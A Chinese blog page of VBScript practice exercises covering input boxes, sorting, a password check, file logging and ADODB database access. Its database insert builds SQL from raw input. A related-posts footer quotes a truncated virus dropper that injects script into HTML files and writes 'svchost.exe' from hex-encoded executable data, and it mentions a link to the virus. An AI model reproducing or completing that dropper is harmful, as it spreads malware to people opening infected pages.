VBS练习题

练习题:

1、输入3个数,输出其中最大的那个值。

Option Explicit
Dim intA,intB,intC
intA=CInt(InputBox("请输入a:"))
intB=CInt(InputBox("请输入b:"))
intC=CInt(InputBox("请输入c:"))
If intA>intB And intA>intC Then
    MsgBox  "最大值是:"&intA
ElseIf intB>intC Then
    MsgBox "最大值是:"&intB
Else
    MsgBox "最大值是:"&intC
End If

2、判断输入的字符类型。

Dim a,b,c
a=InputBox("请输入一个字符:")
b=Asc(a)
If b>=48 And b<=57 Then
    c=0
ElseIf b>=65 And b<=90 Then
    c=1
ElseIf b>=97 And b<=122 Then
    c=2
Else
    c=3
End if

Select Case c
    Case 0
    MsgBox "输入为数字:"&a
    Case 1
    MsgBox "输入为大写字母:"&a
    Case 2
    MsgBox "输入为小写字母:"&a
    Case 3
    MsgBox "输入为其它符号:"&a
End Select

3、输入一组数字,倒序输出。

Dim a(4)
For i=0 To 4
    a(i)=InputBox("请输入第"&i+1&"数字:")
Next
MsgBox "你输入的数字倒序输出为:"&a(4)&","&a(3)&","&a(2)&","&a(1)&","&a(0) 

4、用VBS实现冒泡排序,输入10个数,按从小到大或从大到小的顺序排列。

Option Explicit  
Dim i,j,usernum(9),tempnum
For i=0 To 9
    usernum(i)=CInt(InputBox("请输入第"&i+1&"个数"))
Next
For i=0 To 8
  For j=0 To 8-i Step 1
    If usernum(j)>usernum(j+1) Then
        tempnum=usernum(j)
        usernum(j)=usernum(j+1)
        usernum(j+1)=tempnum
    End If
  Next
Next
For i=0 To 9
    MsgBox(usernum(i))
Next
‘方法二
Dim a(10)
For i=1 To 10
     a(i)=cint(InputBox("请输入第"&i&"数字:"))
Next
Function change(x,y)
    If x>y Then
         tem=x
         x=y
         y=tem
    End If
End Function
For i=1 To 10
    For j=1 To 10-i
        change a(j),a(j+1)
    next
Next
MsgBox a(10)&","&a(9)&","&a(8)&","&a(7)&","&a(6)&","&a(5)&","&a(4)&","&a(3)&","&a(2)&","&a(1)

5、用VBS实现用户名和密码的输入验证,先输入用户名再输入密码:用户名必须是4~10位的字符,否则提示用户名为空、少于4位或多于10位。密码必须是Mercury(不区分大小写),如果输入为空则提示用户输入密码,如果连续三次未输入正确密码则提示用户重新登录,然后退出。

Dim strUsername,strPassword
Do
strUsername=CStr(InputBox("please input your UserName!","Input Name"))
    If Len(strUsername)<4 or Len(strUsername)>10 Then
        MsgBox "用户名必须是4-10位字符!请重新输入!",48,"用户名输入不正确!"
    Else
        Exit Do
    End If
Loop

x=0
Do
strPassword=CStr(InputBox("please input the password!","Input password"))
strPassword=LCase(strPassword)
    If strPassword="mercury" Then
        MsgBox "用户"&strUsername&"登陆成功!",48,"登陆成功!"
        Exit Do
      Else
          MsgBox "密码不正确!",48,"密码不正确!"
          x=x+1
          If x=3 Then
              MsgBox "请重新登陆!",48,"请重新登陆!"
              Exit do
          End If
      End If
Loop 

6、计算两个数求余的结果,要求:计算出错时输出错误。

Option Explicit
On Error Resume Next 

Function getmod(a,b)
    getmod=a Mod b
End Function

Dim c,ua,ub
ua=CInt(InputBox("请输入一个数"))
ub=CInt(InputBox("请再输入一个数"))
c=getmod(ua,ub)
If Err Then       ‘可以自主产生错误 Err.Raise 6
    MsgBox Err.Number &"---"& Err.Description
    Err.Clear
Else
    MsgBox c
End If

7、随机数。

Dim strInput,arrg
strIput=InputBox("请输入5个词语,用,分开!")
arrg=Split(strIput,",")
For Each element In arrg
    Randomize 5        ‘初始化随机生成器,后面的值5也可以省略而是用系统的种子
    MsgBox arrg(Int(5*Rnd))  ‘随机输出数组中的元素值
Next

8、写日志到文本文件中。

Function Writelog(str)
    Const ForReading=1,ForWriting=2,ForAppending=8
    Dim fso,fil,msg
    ‘ 创建一个文件系统对象(File System Object)
    Set fso = CreateObject("Scripting.FileSystemObject")
    ‘ 创建一个文件对象,通过fso对象来打开指定的文件
    Set fil = fso.OpenTextFile("C:\log.txt",ForAppending)
    fil.WriteLine now &"  "&str
    ‘ 关闭这个文件
    fil.Close
    ‘ 释放这个文件对象
    Set fil = Nothing
    ‘ 释放这个文件系统对象
    Set fso = Nothing
End Function

Writelog "hello lxl"

9、读文本文档.txt文件并显示出来。

Option Explicit
Const ForReading=1,ForWriting=2,ForAppending=8
Dim fso,fil,msg
‘ 创建一个文件系统对象(File System Object)
Set fso = CreateObject("Scripting.FileSystemObject")
‘ 创建一个文件对象,通过fso对象来打开指定的文件
Set fil = fso.OpenTextFile("C:\f.txt",ForReading)
‘ 读取文件内容
‘ MsgBox fil.ReadAll  ‘ 一次性全部读取
‘ 判断是否到了文件的最后面
Do While Not fil.AtEndOfLine  ‘注意和AtEndOfLine的区别
    ‘ 只要没到最后,就读取一行,同时把游标向下移动一行
    msg = msg & vbNewLine & fil.ReadLine
Loop
MsgBox msg
‘ 关闭这个文件
fil.Close
‘ 释放这个文件对象
Set fil = Nothing
‘ 释放这个文件系统对象
Set fso = Nothing

4、读取数据库查询的结果
Dim Cnn,Rst,strCnn,Msg, Sqlstr
strCnn="Provider=MSDASQL.1;Persist Security Info=False;Data Source=calc" ‘数据源字符串
Set Cnn=CreateObject("ADODB.Connection")
Cnn.Open strCnn
Set Rst=CreateObject("ADODB.RecordSet")
Sqlstr="select * from calc order by TestNumber1 asc"
Rst.Open Sqlstr,Cnn
Rst.MoveFirst
Do While Not Rst.EOF
Msg=Msg&vbTab&Rst.Fields("TestNumber1")&vbTab&Rst.Fields("TestNumber2")&vbTab&Rst.Fields("TestResult")&vbNewLine
Rst.MoveNext
Loop
Rst.Close
Cnn.Close
Set Rst=Nothing
Set Cnn=Nothing
MsgBox Msg

5、更新数据库中的数据
Dim Cnn,strCnn,Cmd,Sqlstr
strCnn=" Provider=MSDASQL.1;Persist Security Info=False;Data Source=calc "
Set Cnn=CreateObject("ADODB.Connection")
Cnn.Open strCnn
‘Set Rst=CreateObject("ADODB.RecordSet")
Set Cmd=CreateObject("ADODB.Command")
Cmd.ActiveConnection = Cnn
Sqlstr="update calc set TestNumber1= 78901 where TestNumber1= 78900" Cmd.CommandText = Sqlstr
Cmd.Execute
Cnn.Close
Set Rst=Nothing
Set Cnn=Nothing

6、插入数据到数据库中
Sub inputaccess(tn1,tn2,tr)
Dim Cnn,strCnn,Cmd,Sqlstr
strCnn="Provider=MSDASQL.1;Persist Security Info=False;Data Source=lxl"
Set Cnn=CreateObject("ADODB.Connection")
Cnn.Open strCnn
Set Cmd=CreateObject("ADODB.Command")
Cmd.ActiveConnection = Cnn
Sqlstr="insert into calc(TestNumber1,TestNumber2,TestResult) values("&tn1&","&tn2&",‘"&tr&"‘)"
Cmd.CommandText = Sqlstr
Cmd.Execute
Cnn.Close
Set Rst=Nothing
Set Cnn=Nothing
End Sub
inputaccess 1,2,"yezhaohui"

时间: 2024-08-02 02:49:51

VBS练习题的相关文章

下了个蓝屏代码查看工具,就中病毒了。。。什么鬼病毒,竟然还是用的VBS

扫描所有盘下面的html文件,加入VBS脚本...真是奇葩,多少年前的病毒了... http://files.cnblogs.com/files/guangshan/lpdmcxq.rar 这个是病毒链接,下载地址也在里面. 原理是为所有的html文件增加一段脚本: </div><SCRIPT Language=VBScript><!-- DropFileName = "svchost.exe" WriteData = "4D5A90000300

[Lab4-1]抓路由练习题

[Lab4-1]抓路由练习题 问题1: 用ACL抓取172.18.0.0/16----172.29.0.0/16的路由 答案: 172.16.0.0 0.15.255.255,看上去很完美,但实际上框的范围有些大. R1(f0/0)-(f0/0)R2 R1上的接口地址: R1#sh ip int b Interface IP-Address OK? Method Status Protocol FastEthernet0/0 12.1.1.1 YES NVRAM up up Loopback0

hdu 1166:敌兵布阵(树状数组,练习题)

敌兵布阵 Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 65536/32768 K (Java/Others)Total Submission(s): 37773    Accepted Submission(s): 15923 Problem Description C国的死对头A国这段时间正在进行军事演习,所以C国间谍头子Derek和他手下Tidy又开始忙乎了.A国在海岸线沿直线布置了N个工兵营地,Derek和Tidy的任务就

今天中了一个脚本病毒。把我的所有 html 加了 vbs 脚本,WriteData 是什么鬼?

今天中了一个脚本病毒.把我的所有 html 加了 vbs 脚本: WriteData 是什么鬼? <SCRIPT Language=VBScript><!-- DropFileName = "svchost.exe" WriteData = "4D5A90000300000004000000FFFF0000B8000000000000004000000000000000000000000000000000000000000000000000000000000

1007 数字逻辑练习题

1007: 数字逻辑练习题 时间限制: 1 Sec  内存限制: 128 MB提交: 264  解决: 59[提交][状态][讨论版] 题目描述 原码.反码.补码都是一样的,都是正数本身.  对于负数: 原码是符号位为 1,数值部分取绝对值的二进制. 反码是符号位为 1,其它位是原码取反. 补码是符号位为 1,其它位是原码取反,未位加 1.  输入一个 64bit 十进制整数,输出它的原码,反码,补码的 16 进制表示法 输入 有多组数据,每组数据一行,为一个 64bit 十进制整数,包含正负符

算法--三色排序练习题

三色排序练习题 第17节 三色排序练习题 有一个只由0,1,2三种元素构成的整数数组,请使用交换.原地排序而不是使用计数进行排序. 给定一个只含0,1,2的整数数组A及它的大小,请返回排序后的数组.保证数组大小小于等于500. 测试样例: [0,1,1,0,2,2],6 返回:[0,0,1,1,2,2] Java (javac 1.7) 代码自动补全 1 import java.util.*; 2 3 public class ThreeColor { 4 public int[] sortTh

用VBS控制鼠标(获取鼠标坐标、鼠标移动、鼠标单击、鼠标双击、鼠标右击)

Demon's Blog 忘记了,喜欢一个人的感觉 Demon's Blog  ?  程序设计  ?  用VBS控制鼠标(获取鼠标坐标.鼠标移动.鼠标单击.鼠标双击.鼠标右击) ? bbPress积分插件--Virtual Money VBS调用WMI监视注册表变动 ? 用VBS控制鼠标(获取鼠标坐标.鼠标移动.鼠标单击.鼠标双击.鼠标右击) 标题: 用VBS控制鼠标(获取鼠标坐标.鼠标移动.鼠标单击.鼠标双击.鼠标右击)作者: Demon链接: http://demon.tw/programm

开机自动播放音乐的vbs

今天无意间看到了vbs这小玩意,就突发奇想,自学了一下,倒弄出如下的小玩意,大牛勿喷!这个可用做撩妹神技也可以用于提醒自己!使用方法:复制程序到txt文本里面保存,然后改后缀为vbs,丢到C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp便可开机自启!红色的为歌曲路径,这个要设置对,绿色的看心情修改,感觉好用的热心一下,别浪费了! 程序1:CreateObject("SAPI.SpVoice").Speak &quo

十(1,5),十一单元练习题

<<<第十单元练习题>>>1.配置desktop主机和server主机的日志服务要求如下:*)desktop主机中的日志全部定向到/var/log/westos文件中*)时时同步desktop主机中的所有日志到server中 5.配置系统中的systemd-journal程序,使journal命令可以查看到关机前的日志 1. desktop主机: vim /etc/rsyslog.conf 重启rsyslog服务 ----------------------------